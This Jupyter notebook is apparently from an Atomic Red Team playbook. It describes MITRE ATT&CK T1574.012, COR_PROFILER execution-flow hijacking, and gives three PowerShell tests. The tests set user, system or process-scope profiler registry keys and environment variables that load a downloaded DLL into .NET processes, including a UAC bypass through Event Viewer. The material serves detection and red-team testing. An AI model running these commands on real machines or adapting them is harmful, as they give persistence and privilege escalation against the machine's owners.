<jupyter_start><jupyter_text>T1574.012 - Hijack Execution Flow: COR_PROFILERAdversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Access Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)  Atomic Tests<jupyter_code>#Import the Module before running the tests.
# Checkout Jupyter Notebook at https://github.com/cyb3rbuff/TheAtomicPlaybook to run PS scripts.
Import-Module /Users/0x6c/AtomicRedTeam/atomics/invoke-atomicredteam/Invoke-AtomicRedTeam.psd1 - Force<jupyter_output><empty_output><jupyter_text>Atomic Test 1 - User scope COR_PROFILERCreates user scope environment variables and CLSID COM object to enable a .NET profiler (COR_PROFILER).The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by the Event Viewer process.Additionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity.If the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however,the notepad process will not execute with high integrity.Reference: https://redcanary.com/blog/cor_profiler-for-persistence/**Supported Platforms:** windows Dependencies:  Run with `powershell`! Description: {file_name} must be present Check Prereq Commands:```powershellif (Test-Path PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll) {exit 0} else {exit 1}``` Get Prereq Commands:```powershellNew-Item -Type Directory (split-path PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll) -ErrorAction ignore | Out-NullInvoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll"```<jupyter_code>Invoke-AtomicTest T1574.012 -TestNumbers 1 -GetPreReqs<jupyter_output><empty_output><jupyter_text>Attack Commands: Run with `powershell````powershellWrite-Host "Creating registry keys in HKCU:Software\Classes\CLSID\{09108e71-974c-4010-89cb-acf471ae9e2c}" -ForegroundColor CyanNew-Item -Path "HKCU:\Software\Classes\CLSID\{09108e71-974c-4010-89cb-acf471ae9e2c}\InprocServer32" -Value PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll -Force | Out-NullNew-ItemProperty -Path HKCU:\Environment -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-NullNew-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER" -PropertyType String -Value "{09108e71-974c-4010-89cb-acf471ae9e2c}" -Force | Out-NullNew-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER_PATH" -PropertyType String -Value PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll -Force | Out-NullWrite-Host "executing eventvwr.msc" -ForegroundColor CyanSTART MMC.EXE EVENTVWR.MSC```<jupyter_code>Invoke-AtomicTest T1574.012 -TestNumbers 1<jupyter_output><empty_output><jupyter_text>Atomic Test 2 - System Scope COR_PROFILERCreates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect.The unmanaged profiler DLL (T1574.012x64.dll`) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integritylevel of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL willstill execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity.Reference: https://redcanary.com/blog/cor_profiler-for-persistence/**Supported Platforms:** windowsElevation Required (e.g. root or admin) Dependencies:  Run with `powershell`! Description: {file_name} must be present Check Prereq Commands:```powershellif (Test-Path PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll) {exit 0} else {exit 1}``` Get Prereq Commands:```powershellNew-Item -Type Directory (split-path PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll) -ErrorAction ignore | Out-NullInvoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll"```<jupyter_code>Invoke-AtomicTest T1574.012 -TestNumbers 2 -GetPreReqs<jupyter_output><empty_output><jupyter_text>Attack Commands: Run with `powershell````powershellWrite-Host "Creating system environment variables" -ForegroundColor CyanNew-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-NullNew-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER" -PropertyType String -Value "{09108e71-974c-4010-89cb-acf471ae9e2c}" -Force | Out-NullNew-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER_PATH" -PropertyType String -Value PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll -Force | Out-Null```<jupyter_code>Invoke-AtomicTest T1574.012 -TestNumbers 2<jupyter_output><empty_output><jupyter_text>Atomic Test 3 - Registry-free process scope COR_PROFILERCreates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by PowerShell.Reference: https://redcanary.com/blog/cor_profiler-for-persistence/**Supported Platforms:** windows Dependencies:  Run with `powershell`! Description: {file_name} must be present Check Prereq Commands:```powershellif (Test-Path PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll) {exit 0} else {exit 1}``` Get Prereq Commands:```powershellNew-Item -Type Directory (split-path PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll) -ErrorAction ignore | Out-NullInvoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll"```<jupyter_code>Invoke-AtomicTest T1574.012 -TestNumbers 3 -GetPreReqs<jupyter_output><empty_output><jupyter_text>Attack Commands: Run with `powershell````powershell$env:COR_ENABLE_PROFILING = 1$env:COR_PROFILER = '{09108e71-974c-4010-89cb-acf471ae9e2c}'$env:COR_PROFILER_PATH = 'PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll'POWERSHELL -c 'Start-Sleep 1'```<jupyter_code>Invoke-AtomicTest T1574.012 -TestNumbers 3<jupyter_output><empty_output>
{'fraction_non_alphanumeric': 0.09382291538744934, 'fraction_numerical': 0.06250767530394204, 'mean_word_length': 6.19434628975265, 'pattern_counts': {'":': 0, '<': 29, '<?xml version=': 0, '>': 29, 'https://': 10, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'chain_length': '7', 'dir': 'jupyter-structured-clean-dedup', 'id': '509033', 'license': 'MIT', 'n_tokens_mistral': 3000, 'n_tokens_neox': 2561, 'n_words': 720, 'path': 'playbook/tactics/privilege-escalation/T1574.012.ipynb', 'repo_name': 'haresudhan/The-AtomicPlaybook', 'size': '8143'}